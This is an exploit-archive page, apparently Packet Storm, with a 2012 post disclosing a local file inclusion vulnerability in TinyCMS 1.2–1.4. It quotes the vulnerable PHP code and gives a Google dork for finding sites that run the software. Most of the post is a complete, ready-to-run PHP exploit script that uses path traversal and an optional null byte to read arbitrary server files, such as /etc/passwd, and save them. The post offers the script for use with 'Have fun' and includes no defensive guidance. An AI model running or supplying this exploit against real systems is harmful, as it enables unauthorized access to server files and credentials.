what you don't know can hurt you

TinyCMS 1.4 Local File Inclusion

TinyCMS 1.4 Local File Inclusion
Posted Oct 10, 2012
Authored by Phizo

TinyCMS versions 1.2 through 1.4 suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | df42def991626945652c42712ac7078c

TinyCMS 1.4 Local File Inclusion

Change Mirror Download

[+] Exploit title: TinyCMS - Local File Inclusion
[+] Date: 2/10/2012
[+] Author: Phizo
[+] Vendor: http://www.tinycms.net/
[+] Version: 1.2 - 1.4
[+] Category: webapps
[+] Google dork: intext:"Powered by TinyCMS"
[+] Tested on: Windows 7 | Firefox 15.0.1


All current versions of TinyCMS seem to be affected by the following local file inclusion vulnerability.
TinyCMS 1.0 and 1.1 are no longer available on the developer's website, however 1.2 to 1.4 remain today and are vulnerable.
The option for omitting or including the null byte in the request was included because some web servers may have a WAF (Web Application Firewall) installed and/or magic quotes installed which may prevent inclusion of the desired file.
The Google dork provided currently produces "About 4,510 results".
The vulnerable code along with an exploit has been included.
Have fun.


========================
index.php ~ lines 23-44
========================

if(!isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {
ob_start();
@include 'tpl/wsl.tpl';
$page_content = ob_get_contents();
ob_end_clean();

echo $page_content;
}
else {
header('content-type: application/json; charset=utf-8');

$page_data = array('pageName' => $_GET['page'], 'content' => '');

ob_start();
@include 'tpl/' . $_GET['page'] . '.html';
$page_data['content'] = ob_get_contents();
ob_end_clean();

echo json_encode($page_data);
}

}



=================
Exploit code
=================

<?php

# TinyCMS - Local File Inclusion
# http://hackforums.net/member.php?action=profile&uid=42381

echo <<<EOT

__________________________________
\ TinyCMS - Local File Inclusion /
/ Author: Phizo \
__________________________________


EOT;


$options = getopt('u:f:o:n::');

if(!isset($options['u'], $options['f']))
die("\n Usage example: php tinycms.php -u http://target.com/ -f /etc/passwd\n
-u http://target.com/ The full path to TinyCMS.
-f /etc/passwd The file to include.
-o source.txt The output file to write to. [Optional]
-n Omit null byte from request. [Optional]\n");


$url = $options['u'];
$file = $options['f'];

$output = @$options['o'];
$null = @$options['n'];


$url = !isset($null) ? "{$url}?page=../{$file}%00" : "{$url}?page=../{$file}";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'X-Requested-With: XMLHttpRequest');


echo "\n[+] URL -> {$options['u']}\n";
echo !isset($null) ? "[+] File -> {$file}\n" : "[+] File -> {$file}.html\n";
echo !isset($null) ? "[+] Null byte -> included\n" : "[+] Null byte -> omitted\n";
echo "\n[+] Submitting request...\n";


$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$json = curl_exec($handle);
curl_close($handle);

$source = json_decode($json, true);

echo "______________________________________________\n";

if(!empty($source['content']))
{
if(!isset($output))
echo "{$source['content']}\n";
else
file_put_contents($output, $source['content']);
}
else
{
die("\n[+] File could not be included.\n");
}

echo "\n[+] Exploit completed.\n";

?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    1 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close